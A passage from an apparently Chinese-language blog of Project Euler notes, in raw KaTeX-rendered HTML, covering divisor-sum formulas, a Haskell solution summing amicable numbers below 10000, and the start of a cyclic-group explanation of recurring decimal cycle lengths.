mtight">a</span></span></span></span></span></span></span></span></span></span></span>有</p><p><span class="katex-display"><span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord mathnormal" style="margin-right:0.03588em;">σ</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="minner"><span class="mopen delimcenter" style="top:0em;">(</span><span class="mord"><span class="mord mathnormal">p</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.7144em;"><span style="top:-3.113em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight">a</span></span></span></span></span></span></span></span><span class="mclose delimcenter" style="top:0em;">)</span></span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:2.9291em;vertical-align:-1.2777em;"></span><span class="mop op-limits"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:1.6514em;"><span style="top:-1.8723em;margin-left:0em;"><span class="pstrut" style="height:3.05em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mathnormal mtight">i</span><span class="mrel mtight">=</span><span class="mord mtight">0</span></span></span></span><span style="top:-3.05em;"><span class="pstrut" style="height:3.05em;"></span><span><span class="mop op-symbol large-op">∑</span></span></span><span style="top:-4.3em;margin-left:0em;"><span class="pstrut" style="height:3.05em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight">a</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:1.2777em;"><span></span></span></span></span></span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord"><span class="mord"><span class="mord mathnormal">p</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.8747em;"><span style="top:-3.113em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight">i</span></span></span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:2.3715em;vertical-align:-0.8804em;"></span><span class="mord"><span class="mopen nulldelimiter"></span><span class="mfrac"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:1.4911em;"><span style="top:-2.314em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord mathnormal">p</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">−</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mord">1</span></span></span><span style="top:-3.23em;"><span class="pstrut" style="height:3em;"></span><span class="frac-line" style="border-bottom-width:0.04em;"></span></span><span style="top:-3.677em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord"><span class="mord mathnormal">p</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.8141em;"><span style="top:-3.063em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mathnormal mtight">a</span><span class="mbin mtight">+</span><span class="mord mtight">1</span></span></span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">−</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mord">1</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.8804em;"><span></span></span></span></span></span><span class="mclose nulldelimiter"></span></span></span></span></span></span></p><p>这是因为因子只能是几个 1 或者 p 的倍数。</p><p>考虑如果一个数有 2 个不同质因数 p 和 q 组成，分别由 a 和 b 个，那么质因数组成的方式是 p 选出若干个，q 选出若干个，实际上就是下面多项式相乘的方式</p><p><span class="katex-display"><span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1.2491em;vertical-align:-0.35em;"></span><span class="minner"><span class="mopen delimcenter" style="top:0em;">(</span><span class="mord">1</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">+</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mord mathnormal">p</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">+</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="minner">⋯</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord"><span class="mord mathnormal">p</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.7144em;"><span style="top:-3.113em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight">a</span></span></span></span></span></span></span></span><span class="mclose delimcenter" style="top:0em;">)</span></span><span class="mspace" style="margin-right:0.1667em;"></span><span class="minner"><span class="mopen delimcenter" style="top:0em;"><span class="delimsizing size1">(</span></span><span class="mord">1</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">+</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mord mathnormal" style="margin-right:0.03588em;">q</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">+</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="minner">⋯</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord"><span class="mord mathnormal" style="margin-right:0.03588em;">q</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.8991em;"><span style="top:-3.113em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight">b</span></span></span></span></span></span></span></span><span class="mclose delimcenter" style="top:0em;"><span class="delimsizing size1">)</span></span></span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:1.2491em;vertical-align:-0.35em;"></span><span class="mord mathnormal" style="margin-right:0.03588em;">σ</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="minner"><span class="mopen delimcenter" style="top:0em;">(</span><span class="mord"><span class="mord mathnormal">p</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.7144em;"><span style="top:-3.113em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight">a</span></span></span></span></span></span></span></span><span class="mclose delimcenter" style="top:0em;">)</span></span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord mathnormal" style="margin-right:0.03588em;">σ</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="minner"><span class="mopen delimcenter" style="top:0em;"><span class="delimsizing size1">(</span></span><span class="mord"><span class="mord mathnormal" style="margin-right:0.03588em;">q</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.8991em;"><span style="top:-3.113em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight">b</span></span></span></span></span></span></span></span><span class="mclose delimcenter" style="top:0em;"><span class="delimsizing size1">)</span></span></span></span></span></span></span></p><p>那么拓展到若干个不同质因数的情况，知道是乘起来啦。</p><p>下面代码中，关键在于求真因子的和，然后记忆化了这个和。</p><figure class="highlight haskell"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br><span class="line">64</span><br><span class="line">65</span><br><span class="line">66</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">module</span> P21 (<span class="title">sumAcicable</span>, <span class="title">sumAcicable2</span>) <span class="keyword">where</span></span><br><span class="line"></span><br><span class="line"><span class="keyword">import</span> Control.Monad.State</span><br><span class="line"><span class="keyword">import</span> Data.List (<span class="title">group</span>, <span class="title">nub</span>)</span><br><span class="line"><span class="keyword">import</span> <span class="keyword">qualified</span> Data.Map <span class="keyword">as</span> Map</span><br><span class="line"></span><br><span class="line"><span class="comment">-- | Calculates the sum of amicable numbers under a given limit.</span></span><br><span class="line"><span class="title">sumAcicable</span> :: <span class="type">Int</span> -&gt; <span class="type">Int</span></span><br><span class="line"><span class="title">sumAcicable</span> num = sum $ acicable (num - <span class="number">1</span>)</span><br><span class="line">  <span class="keyword">where</span></span><br><span class="line">    <span class="comment">-- \| Generates a list of amicable numbers up to a given limit.</span></span><br><span class="line">    acicable n = [a | a &lt;- [<span class="number">2</span> .. n], <span class="keyword">let</span> b = sumDivisors a, a == sumDivisors b, a /= b]</span><br><span class="line"></span><br><span class="line">    <span class="comment">-- \| Calculates the sum of proper divisors of a number.</span></span><br><span class="line">    sumDivisors n = foldr (\(x, y) acc -&gt; acc + x + y) <span class="number">1</span> (factors n)</span><br><span class="line"></span><br><span class="line">    <span class="comment">-- \| Generates a list of factors of a number along with their complementary factors.</span></span><br><span class="line">    factors x = [(a, <span class="keyword">if</span> a * a == x <span class="keyword">then</span> <span class="number">0</span> <span class="keyword">else</span> x `div` a) | a &lt;- [<span class="number">2</span> .. (floor . sqrt $ fromIntegral x)], x `mod` a == <span class="number">0</span>]</span><br><span class="line"></span><br><span class="line"><span class="comment">-- | An alternative implementation using the State Monad for caching.</span></span><br><span class="line"><span class="title">sumAcicable2</span> :: <span class="type">Int</span> -&gt; <span class="type">Int</span></span><br><span class="line"><span class="title">sumAcicable2</span> num = evalState (acicable (num - <span class="number">1</span>)) <span class="type">Map</span>.empty</span><br><span class="line">  <span class="keyword">where</span></span><br><span class="line">    <span class="comment">-- \| Generates a list of prime numbers up to half the given limit.</span></span><br><span class="line">    primes = sieve [<span class="number">2</span> .. num `div` <span class="number">2</span>]</span><br><span class="line"></span><br><span class="line">    <span class="comment">-- \| Calculates the sum of amicable numbers using a State Monad for caching.</span></span><br><span class="line">    acicable :: <span class="type">Int</span> -&gt; <span class="type">State</span> (<span class="type">Map</span>.<span class="type">Map</span> <span class="type">Int</span> <span class="type">Int</span>) <span class="type">Int</span></span><br><span class="line">    acicable n = sum &lt;$&gt; mapM evaluateDivisors [<span class="number">2</span> .. n]</span><br><span class="line"></span><br><span class="line">    <span class="comment">-- \| Evaluates and returns an amicable number if conditions are met, using cached results.</span></span><br><span class="line">    evaluateDivisors :: <span class="type">Int</span> -&gt; <span class="type">State</span> (<span class="type">Map</span>.<span class="type">Map</span> <span class="type">Int</span> <span class="type">Int</span>) <span class="type">Int</span></span><br><span class="line">    evaluateDivisors a = <span class="keyword">do</span></span><br><span class="line">      b &lt;- sumDivisors a</span><br><span class="line">      bDivSum &lt;- sumDivisors b</span><br><span class="line">      <span class="keyword">if</span> bDivSum == a &amp;&amp; a /= b <span class="keyword">then</span> return a <span class="keyword">else</span> return <span class="number">0</span></span><br><span class="line"></span><br><span class="line">    <span class="comment">-- \| Computes the sum of divisors of a number, with caching.</span></span><br><span class="line">    sumDivisors :: <span class="type">Int</span> -&gt; <span class="type">State</span> (<span class="type">Map</span>.<span class="type">Map</span> <span class="type">Int</span> <span class="type">Int</span>) <span class="type">Int</span></span><br><span class="line">    sumDivisors n = <span class="keyword">do</span></span><br><span class="line">      cache &lt;- get</span><br><span class="line">      <span class="keyword">case</span> <span class="type">Map</span>.lookup n cache <span class="keyword">of</span></span><br><span class="line">        <span class="type">Just</span> s -&gt; return s</span><br><span class="line">        <span class="type">Nothing</span> -&gt; <span class="keyword">do</span></span><br><span class="line">          <span class="keyword">let</span> facs = primeFactors n primes</span><br><span class="line">              exponents = map length $ group facs</span><br><span class="line">              deltas = zipWith (\p a -&gt; (p ^ (a + <span class="number">1</span>) - <span class="number">1</span>) `div` (p - <span class="number">1</span>)) (nub facs) exponents</span><br><span class="line">              s = product deltas - n</span><br><span class="line">          modify (<span class="type">Map</span>.insert n s)</span><br><span class="line">          return s</span><br><span class="line"></span><br><span class="line">    <span class="comment">-- \| Generates the prime factors of a number.</span></span><br><span class="line">    primeFactors :: <span class="type">Int</span> -&gt; [<span class="type">Int</span>] -&gt; [<span class="type">Int</span>]</span><br><span class="line">    primeFactors <span class="number">1</span> _ = []</span><br><span class="line">    primeFactors _ [] = []</span><br><span class="line">    primeFactors m (p : ps)</span><br><span class="line">      | m `mod` p == <span class="number">0</span> = p : primeFactors (m `div` p) (p : ps)</span><br><span class="line">      | otherwise = primeFactors m ps</span><br><span class="line"></span><br><span class="line">    <span class="comment">-- \| Generates a list of prime numbers using the sieve method.</span></span><br><span class="line">    sieve :: [<span class="type">Int</span>] -&gt; [<span class="type">Int</span>]</span><br><span class="line">    sieve [] = []</span><br><span class="line">    sieve (p : xs) = p : sieve [x | x &lt;- xs, x `mod` p /= <span class="number">0</span>]</span><br><span class="line"></span><br><span class="line"><span class="comment">-- | Main function to print the sum of amicable numbers under 10000.</span></span><br><span class="line"><span class="title">main</span> = print $ sumAcicable2 <span class="number">10000</span></span><br></pre></td></tr></table></figure><h2 id="P26-小数循环节和循环群">P26 小数循环节和循环群</h2><p><img src="https://cdn.blog-blockchain.xyz/2024/01/cd56c9ab47819ffe8a79fa857256a1ea.png" alt="image-20240122011802524"></p><h3 id="循环群的角度">循环群的角度</h3><h3 id="分母和-10-互质时">分母和 10 互质时</h3><p>做除法的过程，实际上是计算 <span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.8491em;"></span><span class="mord">1</span><span class="mord"><span class="mord">0</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.8491em;"><span style="top:-3.063em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight" style="margin-right:0.03148em;">k</span></span></span></span></span></span></span></span><span class="mspace allowbreak"></span><span class="mspace" style="margin-right:0.6667em;"></span></span><span class="base"><span class="strut" style="height:0.6944em;"></span><span class="mord"><span class="mord"><span class="mord mathrm">mod</span></span></span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord mathnormal">n</span></span></span></span> 的值的过程，这个值就是作为第 k 次除法的余数。当余数为 1 的时候，也即<span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.8491em;"></span><span class="mord">1</span><span class="mord"><span class="mord">0</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.8491em;"><span style="top:-3.063em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight" style="margin-right:0.03148em;">k</span></span></span></span></span></span></span></span><span class="mspace allowbreak"></span><span class="mspace" style="margin-right:0.6667em;"></span></span><span class="base"><span class="strut" style="height:0.6944em;"></span><span class="mord"><span class="mord"><span class="mord mathrm">mod</span></span></span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord mathnormal">n</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.6444em;"></span><span class="mord">1</span></span></span></span>， 说明就构成了循环。但是这不一定是第一次循环，因为余数可能在其他数字，比如 2 的时候，出现过 2 次，那么这个循环就要更短。</p><p>先考虑当 10 和 n 互质的时候，构成循环群<span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1.0991em;vertical-align:-0.25em;"></span><span class="mopen">{</span><span class="mord">1</span><span class="mord"><span class="mord">0</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.8491em;"><span style="top:-3.063em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight" style="margin-right:0.03148em;">k</span></span></span></span></span></span></span></span><span class="mord"><span class="mord mathrm">mod</span></span><span class="mord mathnormal">n</span><span class="mord">∣</span><span class="mord mathnormal" style="margin-right:0.03148em;">k</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">∈</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord"><span class="mord mathbb">N</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.6887em;"><span style="top:-3.063em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mbin mtight">∗</span></span></span></span></span></span></span></span><span class="mclose">}</span></span></span></span>，而且那么循环群的阶是最小使它余 1 的数，而且必然是 <span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord mathnormal">φ</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="minner"><span class="mopen delimcenter" style="top:0em;">(</span><span class="mord mathnormal">n</span><span class="mclose delimcenter" style="top:0em;">)</span></span></span></span></span>的因子。显然如果<span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord mathnormal">φ</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="minner"><span class="mopen delimcenter" style="top:0em;">(</span><span class="mord mathnormal">n</span><span class="mclose delimcenter" style="top:0em;">)</span></span></span></span></span>是质数，那么阶就是<span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord mathnormal">φ</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="minner"><span class="mopen delimcenter" style="top:0em;">(</span><span class="mord mathnormal">n</span><span class="mclose delimcenter" style="top:0em;">)</span></span></span></span></span>。</p><p>这是因为群是闭合的，任意两个群元素的乘积仍然是群的元素。如果我们考虑 <span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.8491em;"></span><span class="mord"><span class="mord mathnormal">a</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.8491em;"><span style="top:-3.063em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight" style="margin-right:0.03148em;">k</span></span></span></span></span></span></span></span><span class="mspace allowbreak"></span><span class="mspace" style="margin-right:0.6667em;"></span></span><span class="base"><span class="strut" style="height:0.6944em;"></span><span class="mord"><span class="mord"><span class="mord mathrm">mod</span></span></span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord mathnormal">m</span></span></span></span> 的所有可能的幂，这个集合在模 <span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.4306em;"></span><span class="mord mathnormal">m</span></span></span></span> 的乘法下也是闭合的。那么如果 <span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.4306em;"></span><span class="mord mathnormal">a</span></span></span></span> 生成了一个循环群，那么这个群的阶（即群中元素的个数）就是最小的正整数 <span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6944em;"></span><span class="mord mathnormal" style="margin-right:0.03148em;">k</span></span></span></span>，使得 <span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.8491em;"></span><span class="mord"><span class="mord mathnormal">a</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.8491em;"><span style="top:-3.063em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight" style="margin-right:0.03148em;">k</span></span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">≡</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.6444em;"></span><span class="mord">1</span><span class="mspace allowbreak"></span><span class="mspace" style="margin-right:0.4444em;"></span></span><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mopen">(</span><span class="mord"><span class="mord"><span class="mord mathrm">mod</span></span></span><span class="mspace" style="margin-right:0.3333em;"></span><span class="mord mathnormal">m</span><span class="mclose">)</span></span></span></span>。这个阶 <span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6944em;"></span><span class="mord mathnormal" style="margin-right:0.03148em;">k</span></span></span></span> 必须整除任何 <span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6644em;"></span><span class="mord"><span class="mord mathnormal">a</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.6644em;"><span style="top:-3.063em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight">x</span></span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">≡</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.6444em;"></span><span class="mord">1</span><span class="mspace allowbreak"></span><span class="mspace" style="margin-right:0.4444em;"></span></span><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mopen">(</span><span class="mord"><span class="mord"><span class="mord mathrm">mod</span></span></span><span class="mspace" style="margin-right:0.3333em;"></span><span class="mord mathnormal">m</span><span class="mclose">)</span></span></span></span> 成立的 <span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.4306em;"></span><span class="mord mathnormal">x</span></span></span></span>，包括 <span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord mathnormal">ϕ</span><span class="mopen">(</span><span class="mord mathnormal">m</span><span class="mclose">)</span></span></span></span></p><p>由于 <span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.888em;"></span><span class="mord"><span class="mord mathnormal">a</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.888em;"><span style="top:-3.063em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mathnormal mtight">ϕ</span><span class="mopen mtight">(</span><span class="mord mathnormal mtight">m</span><span class="mclose mtight">)</span></span></span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">≡</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.6444em;"></span><span class="mord">1</span><span class="mspace allowbreak"></span><span class="mspace" style="margin-right:0.4444em;"></span></span><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mopen">(</span><span class="mord"><span class="mord"><span class="mord mathrm">mod</span></span></span><span class="mspace" style="margin-right:0.3333em;"></span><span class="mord mathnormal">m</span><span class="mclose">)</span></span></span></span> 总是成立的（根据欧拉定理），这意味着群的阶必须是 <span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord mathnormal">ϕ</span><span class="mopen">(</span><span class="mord mathnormal">m</span><span class="mclose">)</span></span></span></span> 的因子。因为，如果存在某个 <span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.7335em;vertical-align:-0.0391em;"></span><span class="mord mathnormal" style="margin-right:0.03148em;">k</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">&lt;</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord mathnormal">ϕ</span><span class="mopen">(</span><span class="mord mathnormal">m</span><span class="mclose">)</span></span></span></span>，使得 <span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.8491em;"></span><span class="mord"><span class="mord mathnormal">a</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.8491em;"><span style="top:-3.063em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight" style="margin-right:0.03148em;">k</span></span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">≡</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.6444em;"></span><span class="mord">1</span><span class="mspace allowbreak"></span><span class="mspace" style="margin-right:0.4444em;"></span></span><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mopen">(</span><span class="mord"><span class="mord"><span class="mord mathrm">mod</span></span></span><span class="mspace" style="margin-right:0.3333em;"></span><span class="mord mathnormal">m</span><span class="mclose">)</span></span></span></span>，那么 <span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord mathnormal">ϕ</span><span class="mopen">(</span><span class="mord mathnormal">m</span><span class="mclose">)</span></span></span></span> 必须是 <span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6944em;"></span><span class="mord mathnormal" style="margin-right:0.03148em;">k</span></span></span></span> 的倍数，以保证群的循环性和阶的定义。</p><p>简而言之，幂的循环至多在达到 <span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord mathnormal">ϕ</span><span class="mopen">(</span><span class="mord mathnormal">m</span><span class="mclose">)</span></span></span></span> 时完成一次循环，而实际的循环可能在更早的点完成，因此实际的循环长度（群的阶）是 <span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord mathnormal">ϕ</span><span class="mopen">(</span><span class="mord mathnormal">m</span><span class="mclose">)</span></span></span></span> 的因子。</p><p><strong>计算阶的办法</strong> 除了直接从 1 开始遍历，找到最小正整数使得 <span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.8491em;"></span><span class="mord">1</span><span class="mord"><span class="mord">0</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.8491em;"><span style="top:-3.063em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight" style="margin-right:0.03148em;">k</span></span></span></span></span></span></span></span><span class="mspace allowbreak"></span><span class="mspace" style="margin-right:0.6667em;"></span></span><span class="base"><span class="strut" style="height:0.6944em;"></span><span class="mord"><span class="mord"><span class="mord mathrm">mod</span></span></span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord mathnormal">m</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.6444em;"></span><span class="mord">1</span></span></span></span>，还可以进行简化，尤其是 k 非常大的情况。<br>当<span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.4306em;"></span><span class="mord mathnormal">m</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.625em;vertical-align:-0.1944em;"></span><span class="mord mathnormal" style="margin-right:0.03588em;">pq</span></span></span></span>，其中<span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.625em;vertical-align:-0.1944em;"></span><span class="mord mathnormal">p</span></span></span></span>和<span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.625em;vertical-align:-0.1944em;"></span><span class="mord mathnormal" style="margin-right:0.03588em;">q</span></span></span></span>是不同的质数，并且<span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.4306em;"></span><span class="mord mathnormal">a</span></span></span></span>与<span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.625em;vertical-align:-0.1944em;"></span><span class="mord mathnormal">p</span></span></span></span>和<span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.625em;vertical-align:-0.1944em;"></span><span class="mord mathnormal" style="margin-right:0.03588em;">q</span></span></span></span>都互质。</p><p>假设<span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.8491em;"></span><span class="mord"><span class="mord mathnormal">a</span><span class="msupsub"><span class="vlist-t"><span 